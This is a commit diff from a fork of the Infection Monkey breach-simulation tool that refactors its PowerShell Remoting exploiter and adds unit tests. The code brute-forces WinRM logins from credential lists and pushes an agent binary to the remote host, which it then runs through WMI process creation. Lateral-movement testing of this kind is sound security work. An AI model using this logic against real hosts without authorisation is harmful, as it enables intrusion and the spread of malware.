forked from p15670423/monkey
Merge pull request #1446 from guardicore/powershell-exploiter-refactor
Powershell exploiter refactor
This commit is contained in:
Mike Salvatore
GitHub
commit
0ecbfdea38
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@ -1,29 +1,29 @@
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import logging
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import os
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from typing import Optional, Union
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import pypsrp
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import spnego
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from pypsrp.exceptions import AuthenticationError
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from pypsrp.powershell import PowerShell, RunspacePool
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from urllib3 import connectionpool
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from typing import List, Optional
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import infection_monkey.monkeyfs as monkeyfs
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from common.utils.exploit_enum import ExploitType
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from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
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from infection_monkey.exploit.consts import WIN_ARCH_32
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from infection_monkey.exploit.HostExploiter import HostExploiter
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from infection_monkey.exploit.powershell_utils import utils
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from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
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from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials
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from infection_monkey.exploit.powershell_utils.utils import (
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IClient,
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get_client_based_on_auth_options,
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from infection_monkey.exploit.powershell_utils.auth_options import (
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AUTH_NEGOTIATE,
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ENCRYPTION_AUTO,
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AuthOptions,
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get_auth_options,
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)
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from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials
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from infection_monkey.exploit.powershell_utils.powershell_client import (
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AuthenticationError,
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IPowerShellClient,
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PowerShellClient,
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)
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from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
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from infection_monkey.model import GET_ARCH_WINDOWS, VictimHost
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from infection_monkey.model import VictimHost
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from infection_monkey.utils.environment import is_windows_os
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LOG = logging.getLogger(__name__)
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logger = logging.getLogger(__name__)
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TEMP_MONKEY_BINARY_FILEPATH = "./monkey_temp_bin"
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@ -38,17 +38,8 @@ class PowerShellExploiter(HostExploiter):
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_EXPLOITED_SERVICE = "PowerShell Remoting (WinRM)"
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def __init__(self, host: VictimHost):
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PowerShellExploiter._set_sensitive_packages_log_level_to_error()
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super().__init__(host)
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self.client = None
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@staticmethod
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def _set_sensitive_packages_log_level_to_error():
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# If root logger is inherited, extensive and potentially sensitive info could be logged
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sensitive_packages = [pypsrp, spnego, connectionpool]
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for package in sensitive_packages:
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logging.getLogger(package.__name__).setLevel(logging.ERROR)
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self._client = None
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def _exploit_host(self):
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try:
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@ -58,14 +49,12 @@ class PowerShellExploiter(HostExploiter):
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return False
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credentials = get_credentials(
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self._config.exploit_user_list,
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self._config.exploit_password_list,
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is_windows_os(),
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is_https=is_https,
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self._config.exploit_user_list, self._config.exploit_password_list, is_windows_os()
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)
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auth_options = get_auth_options(credentials, is_https)
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self.client = self._authenticate_via_brute_force(credentials)
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if not self.client:
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self._client = self._authenticate_via_brute_force(credentials, auth_options)
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if not self._client:
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return False
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return self._execute_monkey_agent_on_victim()
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@ -91,80 +80,84 @@ class PowerShellExploiter(HostExploiter):
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raise PowerShellRemotingDisabledError("Powershell remoting seems to be disabled.")
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def _try_http(self):
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auth_options_http = AuthOptions(
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username=self._config.exploit_user_list[0],
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password=self._config.exploit_password_list[0],
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is_https=False,
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)
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self._authenticate(auth_options_http)
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self._try_ssl_login(use_ssl=False)
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def _try_https(self):
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auth_options_http = AuthOptions(
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username=self._config.exploit_user_list[0],
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password=self._config.exploit_password_list[0],
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is_https=True,
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)
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self._authenticate(auth_options_http)
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self._try_ssl_login(use_ssl=True)
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def _authenticate_via_brute_force(self, credentials: [AuthOptions]) -> Optional[IClient]:
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for credential in credentials:
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def _try_ssl_login(self, use_ssl: bool):
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credentials = Credentials(
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username="dummy_username",
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password="dummy_password",
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)
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auth_options = AuthOptions(
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auth_type=AUTH_NEGOTIATE,
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encryption=ENCRYPTION_AUTO,
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ssl=use_ssl,
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)
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PowerShellClient(self.host.ip_addr, credentials, auth_options)
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def _authenticate_via_brute_force(
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self, credentials: List[Credentials], auth_options: List[AuthOptions]
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) -> Optional[IPowerShellClient]:
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for (creds, opts) in zip(credentials, auth_options):
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try:
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client = self._authenticate(credential)
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client = PowerShellClient(self.host.ip_addr, creds, opts)
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LOG.info(
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logger.info(
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f"Successfully logged into {self.host.ip_addr} using Powershell. User: "
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f"{credential.username}"
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f"{creds.username}"
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)
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self.report_login_attempt(True, credential.username, credential.password)
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self.report_login_attempt(True, creds.username, creds.password)
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return client
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except Exception as ex: # noqa: F841
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LOG.debug(
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logger.debug(
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f"Error logging into {self.host.ip_addr} using Powershell. User: "
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f"{credential.username}, Error: {ex}"
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f"{creds.username}, Error: {ex}"
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)
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self.report_login_attempt(False, credential.username, credential.password)
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self.report_login_attempt(False, creds.username, creds.password)
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return None
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def _authenticate(self, auth_options: AuthOptions) -> IClient:
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client = get_client_based_on_auth_options(self.host.ip_addr, auth_options)
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# attempt to execute dir command to know if authentication was successful
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client.execute_cmd("dir")
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return client
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def _execute_monkey_agent_on_victim(self) -> bool:
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arch = self._get_host_arch()
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arch = self._client.get_host_architecture()
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self.is_32bit = arch == WIN_ARCH_32
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self._write_virtual_file_to_local_path()
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logger.debug(f"Host architecture is {arch}")
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monkey_path_on_victim = (
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self._config.dropper_target_path_win_32
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if self.is_32bit
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else self._config.dropper_target_path_win_64
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)
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is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
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is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim)
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if is_monkey_copy_successful:
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logger.info("Successfully copied the monkey binary to the victim.")
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self._run_monkey_executable_on_victim(monkey_path_on_victim)
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else:
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logger.error("Failed to copy the monkey binary to the victim.")
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return False
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return True
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def _get_host_arch(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
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output = self._execute_cmd_on_host(GET_ARCH_WINDOWS)
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if "64-bit" in output:
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return WIN_ARCH_64
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else:
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return WIN_ARCH_32
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def _copy_monkey_binary_to_victim(self, monkey_path_on_victim) -> bool:
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try:
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self._write_virtual_file_to_local_path()
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def _execute_cmd_on_host(self, cmd: str) -> str:
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output, _, _ = self.client.execute_cmd(cmd)
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return output
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logger.info(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
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is_monkey_copy_successful = self._client.copy_file(
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TEMP_MONKEY_BINARY_FILEPATH, monkey_path_on_victim
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)
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except Exception as ex:
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raise ex
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finally:
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if os.path.isfile(TEMP_MONKEY_BINARY_FILEPATH):
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os.remove(TEMP_MONKEY_BINARY_FILEPATH)
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return is_monkey_copy_successful
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def _write_virtual_file_to_local_path(self) -> None:
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monkey_fs_path = get_target_monkey_by_os(is_windows=True, is_32bit=self.is_32bit)
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@ -173,30 +166,13 @@ class PowerShellExploiter(HostExploiter):
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with open(TEMP_MONKEY_BINARY_FILEPATH, "wb") as monkey_local_file:
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monkey_local_file.write(monkey_virtual_file.read())
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def _copy_monkey_binary_to_victim(self, dest: str) -> bool:
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LOG.debug(f"Attempting to copy the monkey agent binary to {self.host.ip_addr}")
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try:
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self.client.copy(TEMP_MONKEY_BINARY_FILEPATH, dest)
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LOG.info(f"Successfully copied the monkey agent binary to {self.host.ip_addr}")
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return True
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except Exception as ex:
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LOG.error(f"Failed to copy the monkey agent binary to {self.host.ip_addr}: {ex}")
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return False
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finally:
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os.remove(TEMP_MONKEY_BINARY_FILEPATH)
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def _run_monkey_executable_on_victim(self, executable_path) -> None:
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monkey_execution_command = utils.build_monkey_execution_command(
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self.host, get_monkey_depth() - 1, executable_path
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)
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LOG.debug(
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f"Attempting to execute the monkey agent on remote host "
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f'{self.host.ip_addr} with commmand "{monkey_execution_command}"'
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logger.info(
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f"Attempting to execute the monkey agent on remote host " f"{self.host.ip_addr}"
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)
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with self.client.wsman, RunspacePool(self.client.wsman) as pool:
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ps = PowerShell(pool)
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ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
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"name", "create"
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).add_parameter("ArgumentList", monkey_execution_command)
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ps.invoke()
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self._client.execute_cmd_as_detached_process(monkey_execution_command)
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@ -1,9 +1,30 @@
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from dataclasses import dataclass
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from typing import Union
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from typing import List
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from infection_monkey.exploit.powershell_utils.credentials import Credentials
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AUTH_BASIC = "basic"
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AUTH_NEGOTIATE = "negotiate"
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ENCRYPTION_AUTO = "auto"
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ENCRYPTION_NEVER = "never"
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@dataclass
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class AuthOptions:
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username: Union[str, None]
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password: Union[str, None]
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is_https: bool
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auth_type: str
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encryption: str
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ssl: bool
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def get_auth_options(credentials: List[Credentials], use_ssl: bool) -> List[AuthOptions]:
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auth_options = []
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for creds in credentials:
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# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
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ssl = False if creds.password == "" else use_ssl
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auth_type = AUTH_BASIC if creds.password == "" else AUTH_NEGOTIATE
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encryption = ENCRYPTION_NEVER if creds.password == "" else ENCRYPTION_AUTO
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auth_options.append(AuthOptions(auth_type, encryption, ssl))
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return auth_options
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|
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@ -1,46 +0,0 @@
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from itertools import product
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from typing import List
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from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
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def get_credentials(
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usernames: List[str], passwords: List[str], is_windows: bool, is_https: bool
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) -> List[AuthOptions]:
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credentials = []
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credentials.extend(_get_empty_credentials(is_windows))
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credentials.extend(_get_username_only_credentials(usernames, is_windows))
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credentials.extend(_get_username_password_credentials(usernames, passwords, is_https=is_https))
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return credentials
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def _get_empty_credentials(is_windows: bool) -> List[AuthOptions]:
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if is_windows:
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return [AuthOptions(username=None, password=None, is_https=False)]
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return []
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def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[AuthOptions]:
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credentials = [
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AuthOptions(username=username, password="", is_https=False) for username in usernames
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]
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if is_windows:
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credentials.extend(
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[AuthOptions(username=username, password=None, is_https=True) for username in usernames]
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)
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return credentials
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def _get_username_password_credentials(
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usernames: List[str], passwords: List[str], is_https: bool
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) -> List[AuthOptions]:
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username_password_pairs = product(usernames, passwords)
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return [
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AuthOptions(credentials[0], credentials[1], is_https=is_https)
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for credentials in username_password_pairs
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]
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|
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@ -0,0 +1,50 @@
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from dataclasses import dataclass
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from itertools import product
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from typing import List, Union
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|
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@dataclass
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class Credentials:
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username: Union[str, None]
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password: Union[str, None]
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|
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def get_credentials(
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usernames: List[str], passwords: List[str], is_windows: bool
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) -> List[Credentials]:
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credentials = []
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credentials.extend(_get_empty_credentials(is_windows))
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credentials.extend(_get_username_only_credentials(usernames, is_windows))
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credentials.extend(_get_username_password_credentials(usernames, passwords))
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return credentials
|
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|
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|
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# On Windows systems, when username == None and password == None, the current user's credentials
|
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# will be used to attempt to log into the victim.
|
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def _get_empty_credentials(is_windows: bool) -> List[Credentials]:
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if is_windows:
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return [Credentials(username=None, password=None)]
|
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|
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return []
|
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|
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|
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# On Windows systems, when password == None, the current user's password will bu used to attempt to
|
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# log into the victim.
|
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def _get_username_only_credentials(usernames: List[str], is_windows: bool) -> List[Credentials]:
|
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credentials = [Credentials(username=username, password="") for username in usernames]
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|
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if is_windows:
|
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credentials.extend(
|
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[Credentials(username=username, password=None) for username in usernames]
|
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)
|
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|
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return credentials
|
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|
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|
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def _get_username_password_credentials(
|
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usernames: List[str], passwords: List[str]
|
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) -> List[Credentials]:
|
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username_password_pairs = product(usernames, passwords)
|
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|
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return [Credentials(credentials[0], credentials[1]) for credentials in username_password_pairs]
|
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|
|
@ -0,0 +1,99 @@
|
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import abc
|
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import logging
|
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from typing import Union
|
||||
|
||||
import pypsrp
|
||||
import spnego
|
||||
from pypsrp.client import Client
|
||||
from pypsrp.exceptions import AuthenticationError # noqa: F401
|
||||
from pypsrp.powershell import PowerShell, RunspacePool
|
||||
from typing_extensions import Protocol
|
||||
from urllib3 import connectionpool
|
||||
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials
|
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from infection_monkey.model import GET_ARCH_WINDOWS
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
CONNECTION_TIMEOUT = 3 # Seconds
|
||||
|
||||
|
||||
def _set_sensitive_packages_log_level_to_error():
|
||||
# If root logger is inherited, extensive and potentially sensitive info could be logged
|
||||
sensitive_packages = [pypsrp, spnego, connectionpool]
|
||||
for package in sensitive_packages:
|
||||
logging.getLogger(package.__name__).setLevel(logging.ERROR)
|
||||
|
||||
|
||||
class IPowerShellClient(Protocol, metaclass=abc.ABCMeta):
|
||||
@abc.abstractmethod
|
||||
def execute_cmd(self, cmd: str) -> str:
|
||||
pass
|
||||
|
||||
@abc.abstractmethod
|
||||
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
|
||||
pass
|
||||
|
||||
@abc.abstractmethod
|
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def copy_file(self, src: str, dest: str) -> bool:
|
||||
pass
|
||||
|
||||
@abc.abstractmethod
|
||||
def execute_cmd_as_detached_process(self, cmd: str):
|
||||
pass
|
||||
|
||||
|
||||
class PowerShellClient(IPowerShellClient):
|
||||
def __init__(self, ip_addr, credentials: Credentials, auth_options: AuthOptions):
|
||||
_set_sensitive_packages_log_level_to_error()
|
||||
|
||||
self._ip_addr = ip_addr
|
||||
self._client = Client(
|
||||
ip_addr,
|
||||
username=credentials.username,
|
||||
password=credentials.password,
|
||||
cert_validation=False,
|
||||
auth=auth_options.auth_type,
|
||||
encryption=auth_options.encryption,
|
||||
ssl=auth_options.ssl,
|
||||
connection_timeout=CONNECTION_TIMEOUT,
|
||||
)
|
||||
|
||||
# attempt to execute dir command to know if authentication was successful
|
||||
self.execute_cmd("dir")
|
||||
|
||||
def execute_cmd(self, cmd: str) -> str:
|
||||
output, _, _ = self._client.execute_cmd(cmd)
|
||||
return output
|
||||
|
||||
def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]:
|
||||
output = self._client.execute_cmd(GET_ARCH_WINDOWS)
|
||||
if "64-bit" in output:
|
||||
return WIN_ARCH_64
|
||||
|
||||
return WIN_ARCH_32
|
||||
|
||||
def copy_file(self, src: str, dest: str) -> bool:
|
||||
try:
|
||||
self._client.copy(src, dest)
|
||||
logger.debug(f"Successfully copied {src} to {dest} on {self._ip_addr}")
|
||||
|
||||
return True
|
||||
except Exception as ex:
|
||||
logger.error(f"Failed to copy {src} to {dest} on {self._ip_addr}: {ex}")
|
||||
|
||||
return False
|
||||
|
||||
def execute_cmd_as_detached_process(self, cmd: str):
|
||||
logger.debug(
|
||||
f"Attempting to execute a command on the remote host as a detached process - "
|
||||
f"Host: {self._ip_addr}, Command: {cmd}"
|
||||
)
|
||||
with self._client.wsman, RunspacePool(self._client.wsman) as pool:
|
||||
ps = PowerShell(pool)
|
||||
ps.add_cmdlet("Invoke-WmiMethod").add_parameter("path", "win32_process").add_parameter(
|
||||
"name", "create"
|
||||
).add_parameter("ArgumentList", cmd)
|
||||
ps.invoke()
|
||||
|
|
@ -1,7 +1,3 @@
|
|||
from pypsrp.client import Client
|
||||
from typing_extensions import Protocol
|
||||
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.model import DROPPER_ARG, RUN_MONKEY, VictimHost
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
|
|
@ -19,38 +15,3 @@ def build_monkey_execution_command(host: VictimHost, depth: int, executable_path
|
|||
"monkey_type": DROPPER_ARG,
|
||||
"parameters": monkey_params,
|
||||
}
|
||||
|
||||
|
||||
AUTH_BASIC = "basic"
|
||||
AUTH_NEGOTIATE = "negotiate"
|
||||
ENCRYPTION_AUTO = "auto"
|
||||
ENCRYPTION_NEVER = "never"
|
||||
|
||||
CONNECTION_TIMEOUT = 3 # Seconds
|
||||
|
||||
|
||||
class IClient(Protocol):
|
||||
def execute_cmd(self, cmd: str):
|
||||
pass
|
||||
|
||||
|
||||
def get_client_based_on_auth_options(ip_addr: str, auth_options: AuthOptions) -> IClient:
|
||||
|
||||
# Passwordless login only works with SSL false, AUTH_BASIC and ENCRYPTION_NEVER
|
||||
if auth_options.password == "":
|
||||
ssl = False
|
||||
else:
|
||||
ssl = auth_options.is_https
|
||||
auth = AUTH_NEGOTIATE if auth_options.password != "" else AUTH_BASIC
|
||||
encryption = ENCRYPTION_AUTO if auth_options.password != "" else ENCRYPTION_NEVER
|
||||
|
||||
return Client(
|
||||
ip_addr,
|
||||
username=auth_options.username,
|
||||
password=auth_options.password,
|
||||
cert_validation=False,
|
||||
ssl=ssl,
|
||||
auth=auth,
|
||||
encryption=encryption,
|
||||
connection_timeout=CONNECTION_TIMEOUT,
|
||||
)
|
||||
|
|
|
|||
|
|
@ -0,0 +1,87 @@
|
|||
# from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import (
|
||||
AUTH_BASIC,
|
||||
AUTH_NEGOTIATE,
|
||||
ENCRYPTION_AUTO,
|
||||
ENCRYPTION_NEVER,
|
||||
get_auth_options,
|
||||
)
|
||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials
|
||||
|
||||
CREDENTIALS = [
|
||||
Credentials("user1", "password1"),
|
||||
Credentials("user2", ""),
|
||||
Credentials("user3", None),
|
||||
]
|
||||
|
||||
|
||||
def test_get_auth_options__ssl_true_with_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=True)
|
||||
|
||||
assert auth_options[0].ssl
|
||||
|
||||
|
||||
def test_get_auth_options__ssl_true_empty_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=True)
|
||||
|
||||
assert not auth_options[1].ssl
|
||||
|
||||
|
||||
def test_get_auth_options__ssl_true_none_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=True)
|
||||
|
||||
assert auth_options[2].ssl
|
||||
|
||||
|
||||
def test_get_auth_options__ssl_false_with_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert not auth_options[0].ssl
|
||||
|
||||
|
||||
def test_get_auth_options__ssl_false_empty_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert not auth_options[1].ssl
|
||||
|
||||
|
||||
def test_get_auth_options__ssl_false_none_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert not auth_options[2].ssl
|
||||
|
||||
|
||||
def test_get_auth_options__auth_type_with_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert auth_options[0].auth_type == AUTH_NEGOTIATE
|
||||
|
||||
|
||||
def test_get_auth_options__auth_type_empty_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert auth_options[1].auth_type == AUTH_BASIC
|
||||
|
||||
|
||||
def test_get_auth_options__auth_type_none_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert auth_options[2].auth_type == AUTH_NEGOTIATE
|
||||
|
||||
|
||||
def test_get_auth_options__encryption_with_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert auth_options[0].encryption == ENCRYPTION_AUTO
|
||||
|
||||
|
||||
def test_get_auth_options__encryption_empty_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert auth_options[1].encryption == ENCRYPTION_NEVER
|
||||
|
||||
|
||||
def test_get_auth_options__encryption_none_password():
|
||||
auth_options = get_auth_options(CREDENTIALS, use_ssl=False)
|
||||
|
||||
assert auth_options[2].encryption == ENCRYPTION_AUTO
|
||||
|
|
@ -0,0 +1,44 @@
|
|||
from infection_monkey.exploit.powershell_utils.credentials import Credentials, get_credentials
|
||||
|
||||
TEST_USERNAMES = ["user1", "user2"]
|
||||
TEST_PASSWORDS = ["p1", "p2"]
|
||||
|
||||
|
||||
def test_get_credentials__empty_windows_true():
|
||||
credentials = get_credentials([], [], True)
|
||||
|
||||
assert len(credentials) == 1
|
||||
assert credentials[0] == Credentials(username=None, password=None)
|
||||
|
||||
|
||||
def test_get_credentials__empty_windows_false():
|
||||
credentials = get_credentials([], [], False)
|
||||
|
||||
assert len(credentials) == 0
|
||||
|
||||
|
||||
def test_get_credentials__username_only_windows_true():
|
||||
credentials = get_credentials(TEST_USERNAMES, [], True)
|
||||
|
||||
assert len(credentials) == 5
|
||||
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials
|
||||
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials
|
||||
assert Credentials(username=TEST_USERNAMES[0], password=None) in credentials
|
||||
assert Credentials(username=TEST_USERNAMES[1], password=None) in credentials
|
||||
|
||||
|
||||
def test_get_credentials__username_only_windows_false():
|
||||
credentials = get_credentials(TEST_USERNAMES, [], False)
|
||||
|
||||
assert len(credentials) == 2
|
||||
assert Credentials(username=TEST_USERNAMES[0], password="") in credentials
|
||||
assert Credentials(username=TEST_USERNAMES[1], password="") in credentials
|
||||
|
||||
|
||||
def test_get_credentials__username_password_windows_true():
|
||||
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True)
|
||||
|
||||
assert len(credentials) == 9
|
||||
for user in TEST_USERNAMES:
|
||||
for password in TEST_PASSWORDS:
|
||||
assert Credentials(username=user, password=password) in credentials
|
||||
|
|
@ -1,51 +1,6 @@
|
|||
from infection_monkey.exploit.powershell_utils import utils
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.exploit.powershell_utils.credential_generation import get_credentials
|
||||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
TEST_USERNAMES = ["user1", "user2"]
|
||||
TEST_PASSWORDS = ["p1", "p2"]
|
||||
|
||||
|
||||
def test_get_credentials__empty_windows_true():
|
||||
credentials = get_credentials([], [], True, True)
|
||||
|
||||
assert len(credentials) == 1
|
||||
assert credentials[0] == AuthOptions(username=None, password=None, is_https=False)
|
||||
|
||||
|
||||
def test_get_credentials__empty_windows_false():
|
||||
credentials = get_credentials([], [], False, True)
|
||||
|
||||
assert len(credentials) == 0
|
||||
|
||||
|
||||
def test_get_credentials__username_only_windows_true():
|
||||
credentials = get_credentials(TEST_USERNAMES, [], True, True)
|
||||
|
||||
assert len(credentials) == 5
|
||||
assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[0], password=None, is_https=True) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[1], password=None, is_https=True) in credentials
|
||||
|
||||
|
||||
def test_get_credentials__username_only_windows_false():
|
||||
credentials = get_credentials(TEST_USERNAMES, [], False, True)
|
||||
|
||||
assert len(credentials) == 2
|
||||
assert AuthOptions(username=TEST_USERNAMES[0], password="", is_https=False) in credentials
|
||||
assert AuthOptions(username=TEST_USERNAMES[1], password="", is_https=False) in credentials
|
||||
|
||||
|
||||
def test_get_credentials__username_password_windows_true():
|
||||
credentials = get_credentials(TEST_USERNAMES, TEST_PASSWORDS, True, True)
|
||||
|
||||
assert len(credentials) == 9
|
||||
for user in TEST_USERNAMES:
|
||||
for password in TEST_PASSWORDS:
|
||||
assert AuthOptions(username=user, password=password, is_https=True) in credentials
|
||||
|
||||
|
||||
def test_build_monkey_execution_command():
|
||||
host = VictimHost("127.0.0.1")
|
||||
|
|
|
|||
|
|
@ -0,0 +1,143 @@
|
|||
from collections import namedtuple
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
import pytest
|
||||
|
||||
from infection_monkey.exploit import powershell
|
||||
from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64
|
||||
from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions
|
||||
from infection_monkey.exploit.powershell_utils.credentials import Credentials
|
||||
from infection_monkey.model.host import VictimHost
|
||||
|
||||
USER_LIST = ["user1", "user2"]
|
||||
PASSWORD_LIST = ["pass1", "pass2"]
|
||||
DROPPER_TARGET_PATH_32 = "C:\\agent32"
|
||||
DROPPER_TARGET_PATH_64 = "C:\\agent64"
|
||||
|
||||
Config = namedtuple(
|
||||
"Config",
|
||||
[
|
||||
"exploit_user_list",
|
||||
"exploit_password_list",
|
||||
"dropper_target_path_win_32",
|
||||
"dropper_target_path_win_64",
|
||||
],
|
||||
)
|
||||
|
||||
|
||||
class TestAuthenticationError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def powershell_exploiter(monkeypatch):
|
||||
host = VictimHost("127.0.0.1")
|
||||
pe = powershell.PowerShellExploiter(host)
|
||||
pe._config = Config(USER_LIST, PASSWORD_LIST, DROPPER_TARGET_PATH_32, DROPPER_TARGET_PATH_64)
|
||||
|
||||
monkeypatch.setattr(powershell, "AuthenticationError", TestAuthenticationError)
|
||||
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
||||
# it's necessary to avoid having to deal with the monkeyfs
|
||||
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
||||
|
||||
return pe
|
||||
|
||||
|
||||
def test_powershell_disabled(monkeypatch, powershell_exploiter):
|
||||
mock_powershell_client = MagicMock(side_effect=Exception)
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
|
||||
success = powershell_exploiter.exploit_host()
|
||||
assert not success
|
||||
|
||||
|
||||
def test_powershell_http(monkeypatch, powershell_exploiter):
|
||||
def allow_http(_, credentials: Credentials, auth_options: AuthOptions):
|
||||
if not auth_options.ssl:
|
||||
raise TestAuthenticationError
|
||||
else:
|
||||
raise Exception
|
||||
|
||||
mock_powershell_client = MagicMock(side_effect=allow_http)
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
powershell_exploiter.exploit_host()
|
||||
|
||||
for call_args in mock_powershell_client.call_args_list:
|
||||
assert not call_args[0][2].ssl
|
||||
|
||||
|
||||
def test_powershell_https(monkeypatch, powershell_exploiter):
|
||||
def allow_https(_, credentials: Credentials, auth_options: AuthOptions):
|
||||
if auth_options.ssl:
|
||||
raise TestAuthenticationError
|
||||
else:
|
||||
raise Exception
|
||||
|
||||
mock_powershell_client = MagicMock(side_effect=allow_https)
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
powershell_exploiter.exploit_host()
|
||||
|
||||
for call_args in mock_powershell_client.call_args_list:
|
||||
if call_args[0][1].password != "" and call_args[0][1].password != "dummy_password":
|
||||
assert call_args[0][2].ssl
|
||||
|
||||
|
||||
def test_no_valid_credentials(monkeypatch, powershell_exploiter):
|
||||
mock_powershell_client = MagicMock(side_effect=TestAuthenticationError)
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
|
||||
success = powershell_exploiter.exploit_host()
|
||||
assert not success
|
||||
|
||||
|
||||
def authenticate(mock_client):
|
||||
def inner(_, credentials: Credentials, auth_options: AuthOptions):
|
||||
if credentials.username == "user1" and credentials.password == "pass2":
|
||||
return mock_client
|
||||
else:
|
||||
raise TestAuthenticationError("Invalid credentials")
|
||||
|
||||
return inner
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"dropper_target_path,arch",
|
||||
[(DROPPER_TARGET_PATH_32, WIN_ARCH_32), (DROPPER_TARGET_PATH_64, WIN_ARCH_64)],
|
||||
)
|
||||
def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch):
|
||||
mock_client = MagicMock()
|
||||
mock_client.get_host_architecture = lambda: arch
|
||||
mock_client.copy_file = MagicMock(return_value=True)
|
||||
|
||||
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
|
||||
success = powershell_exploiter.exploit_host()
|
||||
|
||||
assert dropper_target_path in mock_client.copy_file.call_args[0][1]
|
||||
assert success
|
||||
|
||||
|
||||
def test_failed_copy(monkeypatch, powershell_exploiter):
|
||||
mock_client = MagicMock()
|
||||
mock_client.get_host_architecture = lambda: WIN_ARCH_32
|
||||
mock_client.copy_file = MagicMock(return_value=False)
|
||||
|
||||
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
|
||||
success = powershell_exploiter.exploit_host()
|
||||
assert not success
|
||||
|
||||
|
||||
def test_failed_monkey_execution(monkeypatch, powershell_exploiter):
|
||||
mock_client = MagicMock()
|
||||
mock_client.get_host_architecture = lambda: WIN_ARCH_32
|
||||
mock_client.copy_file = MagicMock(return_value=True)
|
||||
mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception)
|
||||
|
||||
mock_powershell_client = MagicMock(side_effect=authenticate(mock_client))
|
||||
monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client)
|
||||
|
||||
success = powershell_exploiter.exploit_host()
|
||||
assert not success
|
||||
Loading…
Reference in New Issue